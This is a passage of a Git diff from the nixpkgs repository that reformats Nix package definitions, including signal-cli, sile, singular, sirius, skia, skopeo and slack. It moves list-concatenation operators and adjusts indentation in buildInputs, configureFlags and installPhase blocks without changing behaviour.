-      lcms2
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    dbus
+    gdk-pixbuf
+    glib
+    gtk4
+    libadwaita
+    openssl
+    sqlite
+    libshumate
+    libseccomp
+    lcms2
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/sh/shutter/package.nix b/pkgs/by-name/sh/shutter/package.nix
index 3ba076eeccea..699b4aac399d 100644
--- a/pkgs/by-name/sh/shutter/package.nix
+++ b/pkgs/by-name/sh/shutter/package.nix
@@ -82,7 +82,8 @@ stdenv.mkDerivation rec {
     libwnck
     libappindicator-gtk3
     hicolor-icon-theme
-  ] ++ perlModules;
+  ]
+  ++ perlModules;
 
   makeFlags = [
     "prefix=${placeholder "out"}"
diff --git a/pkgs/by-name/si/sidplayfp/package.nix b/pkgs/by-name/si/sidplayfp/package.nix
index 8f82bf3b6cba..920fe7062aab 100644
--- a/pkgs/by-name/si/sidplayfp/package.nix
+++ b/pkgs/by-name/si/sidplayfp/package.nix
@@ -34,19 +34,18 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libsidplayfp
-    ]
-    ++ lib.optionals alsaSupport [
-      alsa-lib
-    ]
-    ++ lib.optionals pulseSupport [
-      libpulseaudio
-    ]
-    ++ lib.optionals out123Support [
-      mpg123
-    ];
+  buildInputs = [
+    libsidplayfp
+  ]
+  ++ lib.optionals alsaSupport [
+    alsa-lib
+  ]
+  ++ lib.optionals pulseSupport [
+    libpulseaudio
+  ]
+  ++ lib.optionals out123Support [
+    mpg123
+  ];
 
   configureFlags = [
     (lib.strings.withFeature out123Support "out123")
diff --git a/pkgs/by-name/si/sigal/package.nix b/pkgs/by-name/si/sigal/package.nix
index a588678931c9..391b7eb428e2 100644
--- a/pkgs/by-name/si/sigal/package.nix
+++ b/pkgs/by-name/si/sigal/package.nix
@@ -36,13 +36,12 @@ python3.pkgs.buildPythonApplication rec {
     cryptography
   ];
 
-  nativeCheckInputs =
-    [
-      ffmpeg
-    ]
-    ++ (with python3.pkgs; [
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    ffmpeg
+  ]
+  ++ (with python3.pkgs; [
+    pytestCheckHook
+  ]);
 
   disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [
     "test_nonmedia_files"
diff --git a/pkgs/by-name/si/signal-cli/package.nix b/pkgs/by-name/si/signal-cli/package.nix
index d9204abb165e..90f8b0870d7b 100644
--- a/pkgs/by-name/si/signal-cli/package.nix
+++ b/pkgs/by-name/si/signal-cli/package.nix
@@ -27,32 +27,31 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   ];
   nativeBuildInputs = [ makeWrapper ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out
-      cp -r lib $out/
-      install -Dm755 bin/signal-cli -t $out/bin
-    ''
-    + (
-      if stdenvNoCC.hostPlatform.isLinux then
-        ''
-          makeWrapper ${openjdk21_headless}/bin/java $out/bin/signal-cli \
-            --set JAVA_HOME "${openjdk21_headless}" \
-            --add-flags "-classpath '$out/lib/*:${libmatthew_java}/lib/jni'" \
-            --add-flags "-Djava.library.path=${libmatthew_java}/lib/jni:${dbus_java}/share/java/dbus:$out/lib" \
-            --add-flags "org.asamk.signal.Main"
-        ''
-      else
-        ''
-          wrapProgram $out/bin/signal-cli \
-            --prefix PATH : ${lib.makeBinPath [ openjdk21_headless ]} \
-            --set JAVA_HOME ${openjdk21_headless}
-        ''
-    )
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out
+    cp -r lib $out/
+    install -Dm755 bin/signal-cli -t $out/bin
+  ''
+  + (
+    if stdenvNoCC.hostPlatform.isLinux then
+      ''
+        makeWrapper ${openjdk21_headless}/bin/java $out/bin/signal-cli \
+          --set JAVA_HOME "${openjdk21_headless}" \
+          --add-flags "-classpath '$out/lib/*:${libmatthew_java}/lib/jni'" \
+          --add-flags "-Djava.library.path=${libmatthew_java}/lib/jni:${dbus_java}/share/java/dbus:$out/lib" \
+          --add-flags "org.asamk.signal.Main"
+      ''
+    else
+      ''
+        wrapProgram $out/bin/signal-cli \
+          --prefix PATH : ${lib.makeBinPath [ openjdk21_headless ]} \
+          --set JAVA_HOME ${openjdk21_headless}
+      ''
+  )
+  + ''
+    runHook postInstall
+  '';
 
   # Execution in the macOS (10.13) sandbox fails with
   # dyld: Library not loaded: /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa
diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix
index 8b7a09eee585..68278f5c004c 100644
--- a/pkgs/by-name/si/signalbackup-tools/package.nix
+++ b/pkgs/by-name/si/signalbackup-tools/package.nix
@@ -22,22 +22,20 @@ stdenv.mkDerivation rec {
     hash = "sha256-/zbBiVWqHoKG2h6ExIDIP6ZQH1F8LByZYWbx8wysGDw=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+  ];
 
-  buildInputs =
-    [
-      openssl
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      dbus
-    ];
+  buildInputs = [
+    openssl
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    dbus
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/si/sile/package.nix b/pkgs/by-name/si/sile/package.nix
index 2e163cf893e4..0b4652a13920 100644
--- a/pkgs/by-name/si/sile/package.nix
+++ b/pkgs/by-name/si/sile/package.nix
@@ -64,26 +64,25 @@ stdenv.mkDerivation (finalAttrs: {
     libiconv
   ];
 
-  configureFlags =
-    [
-      # Nix will supply all the Lua dependencies, so stop the build system from
-      # bundling vendored copies of them.
-      "--with-system-lua-sources"
-      "--with-system-luarocks"
-      # The automake check target uses pdfinfo to confirm the output of a test
-      # run, and uses autotools to discover it. This flake build eschews that
-      # test because it is run from the source directory but the binary is
-      # already built with system paths, so it can't be checked under Nix until
-      # after install. After install the Makefile isn't available of course, so
-      # we have our own copy of it with a hard coded path to `pdfinfo`. By
-      # specifying some binary here we skip the configure time test for
-      # `pdfinfo`, by using `false` we make sure that if it is expected during
-      # build time we would fail to build since we only provide it at test time.
-      "PDFINFO=false"
-    ]
-    ++ lib.optionals (!lua.pkgs.isLuaJIT) [
-      "--without-luajit"
-    ];
+  configureFlags = [
+    # Nix will supply all the Lua dependencies, so stop the build system from
+    # bundling vendored copies of them.
+    "--with-system-lua-sources"
+    "--with-system-luarocks"
+    # The automake check target uses pdfinfo to confirm the output of a test
+    # run, and uses autotools to discover it. This flake build eschews that
+    # test because it is run from the source directory but the binary is
+    # already built with system paths, so it can't be checked under Nix until
+    # after install. After install the Makefile isn't available of course, so
+    # we have our own copy of it with a hard coded path to `pdfinfo`. By
+    # specifying some binary here we skip the configure time test for
+    # `pdfinfo`, by using `false` we make sure that if it is expected during
+    # build time we would fail to build since we only provide it at test time.
+    "PDFINFO=false"
+  ]
+  ++ lib.optionals (!lua.pkgs.isLuaJIT) [
+    "--without-luajit"
+  ];
 
   outputs = [
     "out"
@@ -118,38 +117,37 @@ stdenv.mkDerivation (finalAttrs: {
     #    "lua-resty-http"
     #  ]) ps
     # )
-    luaPackages =
-      [
-        "cassowary"
-        "cldr"
-        "fluent"
-        "linenoise"
-        "loadkit"
-        "lpeg"
-        "lua-zlib"
-        "lua_cliargs"
-        "luaepnf"
-        "luaexpat"
-        "luafilesystem"
-        "luarepl"
-        "luasec"
-        "luasocket"
-        "luautf8"
-        "penlight"
-        "vstruct"
-        # lua packages needed for testing
-        "busted"
-        "luacheck"
-        # packages needed for building api docs
-        "ldoc"
-        # NOTE: Add lua packages here, to change the luaEnv also read by `flake.nix`
-      ]
-      ++ lib.optionals (lib.versionOlder lua.luaversion "5.2") [
-        "bit32"
-      ]
-      ++ lib.optionals (lib.versionOlder lua.luaversion "5.3") [
-        "compat53"
-      ];
+    luaPackages = [
+      "cassowary"
+      "cldr"
+      "fluent"
+      "linenoise"
+      "loadkit"
+      "lpeg"
+      "lua-zlib"
+      "lua_cliargs"
+      "luaepnf"
+      "luaexpat"
+      "luafilesystem"
+      "luarepl"
+      "luasec"
+      "luasocket"
+      "luautf8"
+      "penlight"
+      "vstruct"
+      # lua packages needed for testing
+      "busted"
+      "luacheck"
+      # packages needed for building api docs
+      "ldoc"
+      # NOTE: Add lua packages here, to change the luaEnv also read by `flake.nix`
+    ]
+    ++ lib.optionals (lib.versionOlder lua.luaversion "5.2") [
+      "bit32"
+    ]
+    ++ lib.optionals (lib.versionOlder lua.luaversion "5.3") [
+      "compat53"
+    ];
     luaEnv = lua.withPackages (ps: lib.attrVals finalAttrs.finalPackage.passthru.luaPackages ps);
 
     # Copied from Makefile.am
diff --git a/pkgs/by-name/si/silicon/package.nix b/pkgs/by-name/si/silicon/package.nix
index 9d3444805172..5dddeaaf1156 100644
--- a/pkgs/by-name/si/silicon/package.nix
+++ b/pkgs/by-name/si/silicon/package.nix
@@ -29,24 +29,24 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-MpmGLhg00quz4mYkidLofpcZTVwxbgIThg5v2r4HIfs=";
 
-  buildInputs =
-    [
-      expat
-      freetype
-      fira-code
-      fontconfig
-      harfbuzz
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libxcb ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    expat
+    freetype
+    fira-code
+    fontconfig
+    harfbuzz
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libxcb ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeBuildInputs = [
     cmake
     pkg-config
     rustPlatform.bindgenHook
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ python3 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ python3 ];
 
   preCheck = ''
     export HOME=$TMPDIR
diff --git a/pkgs/by-name/si/simdjson/package.nix b/pkgs/by-name/si/simdjson/package.nix
index 1a64b60ac280..29c1859ce63e 100644
--- a/pkgs/by-name/si/simdjson/package.nix
+++ b/pkgs/by-name/si/simdjson/package.nix
@@ -18,18 +18,17 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  cmakeFlags =
-    [
-      "-DSIMDJSON_DEVELOPER_MODE=OFF"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "-DBUILD_SHARED_LIBS=OFF"
-    ]
-    ++ lib.optionals (with stdenv.hostPlatform; isPower && isBigEndian) [
-      # Assume required CPU features are available, since otherwise we
-      # just get a failed build.
-      "-DCMAKE_CXX_FLAGS=-mpower8-vector"
-    ];
+  cmakeFlags = [
+    "-DSIMDJSON_DEVELOPER_MODE=OFF"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "-DBUILD_SHARED_LIBS=OFF"
+  ]
+  ++ lib.optionals (with stdenv.hostPlatform; isPower && isBigEndian) [
+    # Assume required CPU features are available, since otherwise we
+    # just get a failed build.
+    "-DCMAKE_CXX_FLAGS=-mpower8-vector"
+  ];
 
   meta = with lib; {
     homepage = "https://simdjson.org/";
diff --git a/pkgs/by-name/si/simgrid/package.nix b/pkgs/by-name/si/simgrid/package.nix
index 7f11dfd3ad90..a430252abcd3 100644
--- a/pkgs/by-name/si/simgrid/package.nix
+++ b/pkgs/by-name/si/simgrid/package.nix
@@ -42,26 +42,25 @@ stdenv.mkDerivation rec {
   };
 
   propagatedBuildInputs = [ boost ];
-  nativeBuildInputs =
-    [
-      cmake
-      perl
-      python3
-    ]
-    ++ lib.optionals fortranSupport [ gfortran ]
-    ++ lib.optionals buildJavaBindings [ openjdk ]
-    ++ lib.optionals buildPythonBindings [ python3Packages.pybind11 ]
-    ++ lib.optionals buildDocumentation [
-      fig2dev
-      ghostscript
-      doxygen
-    ]
-    ++ lib.optionals bmfSupport [ eigen ]
-    ++ lib.optionals modelCheckingSupport [
-      libunwind
-      libevent
-      elfutils
-    ];
+  nativeBuildInputs = [
+    cmake
+    perl
+    python3
+  ]
+  ++ lib.optionals fortranSupport [ gfortran ]
+  ++ lib.optionals buildJavaBindings [ openjdk ]
+  ++ lib.optionals buildPythonBindings [ python3Packages.pybind11 ]
+  ++ lib.optionals buildDocumentation [
+    fig2dev
+    ghostscript
+    doxygen
+  ]
+  ++ lib.optionals bmfSupport [ eigen ]
+  ++ lib.optionals modelCheckingSupport [
+    libunwind
+    libevent
+    elfutils
+  ];
 
   outputs = [ "out" ] ++ lib.optionals buildPythonBindings [ "python" ];
 
diff --git a/pkgs/by-name/si/simulide/package.nix b/pkgs/by-name/si/simulide/package.nix
index 29d75bbb72ff..3dfb24aafb63 100644
--- a/pkgs/by-name/si/simulide/package.nix
+++ b/pkgs/by-name/si/simulide/package.nix
@@ -107,15 +107,14 @@ stdenv.mkDerivation {
     libsForQt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      libsForQt5.qtserialport
-      libsForQt5.qtmultimedia
-      libsForQt5.qttools
-    ]
-    ++ lib.optionals (lib.versionOlder versionNum "1.1.0") [
-      libsForQt5.qtscript
-    ];
+  buildInputs = [
+    libsForQt5.qtserialport
+    libsForQt5.qtmultimedia
+    libsForQt5.qttools
+  ]
+  ++ lib.optionals (lib.versionOlder versionNum "1.1.0") [
+    libsForQt5.qtscript
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/si/singular/package.nix b/pkgs/by-name/si/singular/package.nix
index c71f933edc66..86779860d4ce 100644
--- a/pkgs/by-name/si/singular/package.nix
+++ b/pkgs/by-name/si/singular/package.nix
@@ -48,15 +48,14 @@ stdenv.mkDerivation rec {
     forceFetchGit = true;
   };
 
-  configureFlags =
-    [
-      "--enable-gfanlib"
-      "--with-ntl=${ntl}"
-      "--with-flint=${flint3}"
-    ]
-    ++ lib.optionals enableDocs [
-      "--enable-doc-build"
-    ];
+  configureFlags = [
+    "--enable-gfanlib"
+    "--with-ntl=${ntl}"
+    "--with-flint=${flint3}"
+  ]
+  ++ lib.optionals enableDocs [
+    "--enable-doc-build"
+  ];
 
   prePatch = ''
     # don't let the tests depend on `hostname`
@@ -88,22 +87,21 @@ stdenv.mkDerivation rec {
     cddlib
   ];
 
-  nativeBuildInputs =
-    [
-      bison
-      perl
-      pkg-config
-      autoreconfHook
-      sharutils # needed for regress.cmd install checks
-    ]
-    ++ lib.optionals enableDocs [
-      doxygen
-      graphviz
-      latex2html
-      texinfo
-      texliveSmall
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ getconf ];
+  nativeBuildInputs = [
+    bison
+    perl
+    pkg-config
+    autoreconfHook
+    sharutils # needed for regress.cmd install checks
+  ]
+  ++ lib.optionals enableDocs [
+    doxygen
+    graphviz
+    latex2html
+    texinfo
+    texliveSmall
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ getconf ];
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
   preAutoreconf = ''
@@ -118,21 +116,20 @@ stdenv.mkDerivation rec {
 
   doCheck = true; # very basic checks, does not test any libraries
 
-  installPhase =
-    ''
-      # clean up any artefacts a previous non-sandboxed docbuild may have left behind
-      rm /tmp/conic.log /tmp/conic.tex /tmp/tropicalcurve*.tex || true
-      make install
-    ''
-    + lib.optionalString enableDocs ''
-      # Sage uses singular.info, which is not installed by default
-      mkdir -p $out/share/info
-      cp doc/singular.info $out/share/info
-    ''
-    + ''
-      # Make sure patchelf picks up the right libraries
-      rm -rf libpolys factory resources omalloc Singular
-    '';
+  installPhase = ''
+    # clean up any artefacts a previous non-sandboxed docbuild may have left behind
+    rm /tmp/conic.log /tmp/conic.tex /tmp/tropicalcurve*.tex || true
+    make install
+  ''
+  + lib.optionalString enableDocs ''
+    # Sage uses singular.info, which is not installed by default
+    mkdir -p $out/share/info
+    cp doc/singular.info $out/share/info
+  ''
+  + ''
+    # Make sure patchelf picks up the right libraries
+    rm -rf libpolys factory resources omalloc Singular
+  '';
 
   # singular tests are a bit complicated, see
   # https://github.com/Singular/Singular/tree/spielwiese/Tst
diff --git a/pkgs/by-name/si/sioyek/package.nix b/pkgs/by-name/si/sioyek/package.nix
index ad3846db56ca..65cc87c3c213 100644
--- a/pkgs/by-name/si/sioyek/package.nix
+++ b/pkgs/by-name/si/sioyek/package.nix
@@ -24,20 +24,19 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-by8/LloGMi6w97nWnO8VLlJjE1ztIymP4mwvL1PWqPo=";
   };
 
-  buildInputs =
-    [
-      gumbo
-      harfbuzz
-      jbig2dec
-      mujs
-      mupdf
-      openjpeg
-      qt6.qt3d
-      qt6.qtbase
-      qt6.qtspeech
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ qt6.qtwayland ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ freetype ];
+  buildInputs = [
+    gumbo
+    harfbuzz
+    jbig2dec
+    mujs
+    mupdf
+    openjpeg
+    qt6.qt3d
+    qt6.qtbase
+    qt6.qtspeech
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qt6.qtwayland ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ freetype ];
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/si/sipp/package.nix b/pkgs/by-name/si/sipp/package.nix
index 3f715baabcee..0e07d4396ac8 100644
--- a/pkgs/by-name/si/sipp/package.nix
+++ b/pkgs/by-name/si/sipp/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     ncurses
     libpcap
     openssl
-  ] ++ lib.optional (stdenv.hostPlatform.isLinux) lksctp-tools;
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux) lksctp-tools;
 
   meta = {
     homepage = "http://sipp.sf.net";
diff --git a/pkgs/by-name/si/sipvicious/package.nix b/pkgs/by-name/si/sipvicious/package.nix
index 5d25e0858e2d..09c27ba9e5e4 100644
--- a/pkgs/by-name/si/sipvicious/package.nix
+++ b/pkgs/by-name/si/sipvicious/package.nix
@@ -17,13 +17,12 @@ python3.pkgs.buildPythonApplication rec {
     hash = "sha256-O8/9Vz/u8BoF1dfGceOJdzPPYLfkdBp2DkwA5WQ3dgo=";
   };
 
-  build-system =
-    [
-      installShellFiles
-    ]
-    ++ (with python3.pkgs; [
-      setuptools
-    ]);
+  build-system = [
+    installShellFiles
+  ]
+  ++ (with python3.pkgs; [
+    setuptools
+  ]);
 
   dependencies = with python3.pkgs; [
     scapy
diff --git a/pkgs/by-name/si/sirikali/package.nix b/pkgs/by-name/si/sirikali/package.nix
index 53bd8d93395c..0028fa166a03 100644
--- a/pkgs/by-name/si/sirikali/package.nix
+++ b/pkgs/by-name/si/sirikali/package.nix
@@ -31,15 +31,14 @@ stdenv.mkDerivation rec {
     hash = "sha256-rfmWtbPYtkaGemeStMWwA6JllOkDiHMftSfmirtAOEQ=";
   };
 
-  buildInputs =
-    [
-      qt6.qtbase
-      libpwquality
-      hicolor-icon-theme
-      libgcrypt
-    ]
-    ++ lib.optionals withKWallet [ kdePackages.kwallet ]
-    ++ lib.optionals withLibsecret [ libsecret ];
+  buildInputs = [
+    qt6.qtbase
+    libpwquality
+    hicolor-icon-theme
+    libgcrypt
+  ]
+  ++ lib.optionals withKWallet [ kdePackages.kwallet ]
+  ++ lib.optionals withLibsecret [ libsecret ];
 
   nativeBuildInputs = [
     qt6.wrapQtAppsHook
diff --git a/pkgs/by-name/si/sirius/package.nix b/pkgs/by-name/si/sirius/package.nix
index a913e2e9c864..826e1638dfaa 100644
--- a/pkgs/by-name/si/sirius/package.nix
+++ b/pkgs/by-name/si/sirius/package.nix
@@ -65,88 +65,86 @@ stdenv.mkDerivation rec {
     cmake
     gfortran
     pkg-config
-  ] ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
+  ]
+  ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
 
-  buildInputs =
+  buildInputs = [
+    blas
+    lapack
+    gsl
+    libxc
+    hdf5
+    umpire
+    mpi
+    spglib
+    spfft
+    spla
+    costa
+    scalapack
+    boost
+    eigen
+    libvdwxc
+  ]
+  ++ lib.optionals (gpuBackend == "cuda") [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_profiler_api
+    cudaPackages.cudatoolkit
+    cudaPackages.libcublas
+  ]
+  ++ lib.optionals (gpuBackend == "rocm") [
+    rocmPackages.clr
+    rocmPackages.rocblas
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ]
+  ++ lib.optionals enablePython (
+    with pythonPackages;
     [
-      blas
-      lapack
-      gsl
-      libxc
-      hdf5
-      umpire
-      mpi
-      spglib
-      spfft
-      spla
-      costa
-      scalapack
-      boost
-      eigen
-      libvdwxc
+      python
+      pybind11
     ]
-    ++ lib.optionals (gpuBackend == "cuda") [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_profiler_api
-      cudaPackages.cudatoolkit
-      cudaPackages.libcublas
-    ]
-    ++ lib.optionals (gpuBackend == "rocm") [
-      rocmPackages.clr
-      rocmPackages.rocblas
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ]
-    ++ lib.optionals enablePython (
-      with pythonPackages;
-      [
-        python
-        pybind11
-      ]
-    );
+  );
 
-  propagatedBuildInputs =
+  propagatedBuildInputs = [
+    (lib.getBin mpi)
+  ]
+  ++ lib.optionals enablePython (
+    with pythonPackages;
     [
-      (lib.getBin mpi)
+      mpi4py
+      voluptuous
+      numpy
+      h5py
+      scipy
+      pyyaml
     ]
-    ++ lib.optionals enablePython (
-      with pythonPackages;
-      [
-        mpi4py
-        voluptuous
-        numpy
-        h5py
-        scipy
-        pyyaml
-      ]
-    );
+  );
 
   CXXFLAGS = [
     # GCC 13: error: 'uintptr_t' in namespace 'std' does not name a type
     "-include cstdint"
   ];
 
-  cmakeFlags =
-    [
-      "-DSIRIUS_USE_SCALAPACK=ON"
-      "-DSIRIUS_USE_VDWXC=ON"
-      "-DSIRIUS_CREATE_FORTRAN_BINDINGS=ON"
-      "-DSIRIUS_USE_OPENMP=ON"
-      "-DBUILD_TESTING=ON"
-    ]
-    ++ lib.optionals (gpuBackend == "cuda") [
-      "-DSIRIUS_USE_CUDA=ON"
-      "-DCUDA_TOOLKIT_ROOT_DIR=${cudaPackages.cudatoolkit}"
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
-    ]
-    ++ lib.optionals (gpuBackend == "rocm") [
-      "-DSIRIUS_USE_ROCM=ON"
-      "-DHIP_ROOT_DIR=${rocmPackages.clr}"
-    ]
-    ++ lib.optionals enablePython [
-      "-DSIRIUS_CREATE_PYTHON_MODULE=ON"
-    ];
+  cmakeFlags = [
+    "-DSIRIUS_USE_SCALAPACK=ON"
+    "-DSIRIUS_USE_VDWXC=ON"
+    "-DSIRIUS_CREATE_FORTRAN_BINDINGS=ON"
+    "-DSIRIUS_USE_OPENMP=ON"
+    "-DBUILD_TESTING=ON"
+  ]
+  ++ lib.optionals (gpuBackend == "cuda") [
+    "-DSIRIUS_USE_CUDA=ON"
+    "-DCUDA_TOOLKIT_ROOT_DIR=${cudaPackages.cudatoolkit}"
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaPackages.flags.cmakeCudaArchitecturesString)
+  ]
+  ++ lib.optionals (gpuBackend == "rocm") [
+    "-DSIRIUS_USE_ROCM=ON"
+    "-DHIP_ROOT_DIR=${rocmPackages.clr}"
+  ]
+  ++ lib.optionals enablePython [
+    "-DSIRIUS_CREATE_PYTHON_MODULE=ON"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/sk/skia/package.nix b/pkgs/by-name/sk/skia/package.nix
index 42ed364948a9..09c3c3851a62 100644
--- a/pkgs/by-name/sk/skia/package.nix
+++ b/pkgs/by-name/sk/skia/package.nix
@@ -46,35 +46,33 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      gn
-      ninja
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-      cctools.libtool
-      zlib
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    gn
+    ninja
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+    cctools.libtool
+    zlib
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
-    [
-      expat
-      fontconfig
-      freetype
-      harfbuzzFull
-      icu
-      libGL
-      libjpeg
-      libwebp
-      libX11
-    ]
-    ++ lib.optionals enableVulkan [
-      vulkan-headers
-      vulkan-memory-allocator
-    ];
+  buildInputs = [
+    expat
+    fontconfig
+    freetype
+    harfbuzzFull
+    icu
+    libGL
+    libjpeg
+    libwebp
+    libX11
+  ]
+  ++ lib.optionals enableVulkan [
+    vulkan-headers
+    vulkan-memory-allocator
+  ];
 
   gnFlags =
     let
diff --git a/pkgs/by-name/sk/skopeo/package.nix b/pkgs/by-name/sk/skopeo/package.nix
index 02828a7c159c..328f7283478f 100644
--- a/pkgs/by-name/sk/skopeo/package.nix
+++ b/pkgs/by-name/sk/skopeo/package.nix
@@ -44,12 +44,13 @@ buildGoModule rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [ gpgme ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lvm2
-      btrfs-progs
-    ];
+  buildInputs = [
+    gpgme
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lvm2
+    btrfs-progs
+  ];
 
   buildPhase = ''
     runHook preBuild
@@ -58,19 +59,18 @@ buildGoModule rec {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      PREFIX=${placeholder "out"} make install-binary install-completions install-docs
-      install ${passthru.policy}/default-policy.json -Dt $out/etc/containers
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/skopeo \
-        --prefix PATH : ${lib.makeBinPath [ fuse-overlayfs ]}
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    PREFIX=${placeholder "out"} make install-binary install-completions install-docs
+    install ${passthru.policy}/default-policy.json -Dt $out/etc/containers
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/skopeo \
+      --prefix PATH : ${lib.makeBinPath [ fuse-overlayfs ]}
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   passthru = {
     policy = runCommand "policy" { } ''
diff --git a/pkgs/by-name/sk/skribilo/package.nix b/pkgs/by-name/sk/skribilo/package.nix
index 35e715b3aece..36d47edc80e2 100644
--- a/pkgs/by-name/sk/skribilo/package.nix
+++ b/pkgs/by-name/sk/skribilo/package.nix
@@ -38,20 +38,19 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fig2dev
-      gettext
-      ghostscript
-      guile
-      guile-lib
-      guile-reader
-      imagemagick
-    ]
-    ++ optional enableEmacs emacs
-    ++ optional enableLout lout
-    ++ optional enablePloticus ploticus
-    ++ optional enableTex texliveSmall;
+  buildInputs = [
+    fig2dev
+    gettext
+    ghostscript
+    guile
+    guile-lib
+    guile-reader
+    imagemagick
+  ]
+  ++ optional enableEmacs emacs
+  ++ optional enableLout lout
+  ++ optional enablePloticus ploticus
+  ++ optional enableTex texliveSmall;
 
   postInstall = ''
     wrapProgram $out/bin/skribilo \
diff --git a/pkgs/by-name/sk/skyemu/package.nix b/pkgs/by-name/sk/skyemu/package.nix
index ec3243c86d11..697daa6cb5c7 100644
--- a/pkgs/by-name/sk/skyemu/package.nix
+++ b/pkgs/by-name/sk/skyemu/package.nix
@@ -37,21 +37,20 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      curl
-      libGL
-      libGLU
-      openssl
-      SDL2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXi
-      libXcursor
-      lua
-    ];
+  buildInputs = [
+    alsa-lib
+    curl
+    libGL
+    libGLU
+    openssl
+    SDL2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXi
+    libXcursor
+    lua
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "USE_SYSTEM_CURL" true)
diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index d24ce008ea05..14ef041d6204 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -173,47 +173,46 @@ let
     dontBuild = true;
     dontPatchELF = true;
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        # The deb file contains a setuid binary, so 'dpkg -x' doesn't work here
-        dpkg --fsys-tarfile $src | tar --extract
-        rm -rf usr/share/lintian
+      # The deb file contains a setuid binary, so 'dpkg -x' doesn't work here
+      dpkg --fsys-tarfile $src | tar --extract
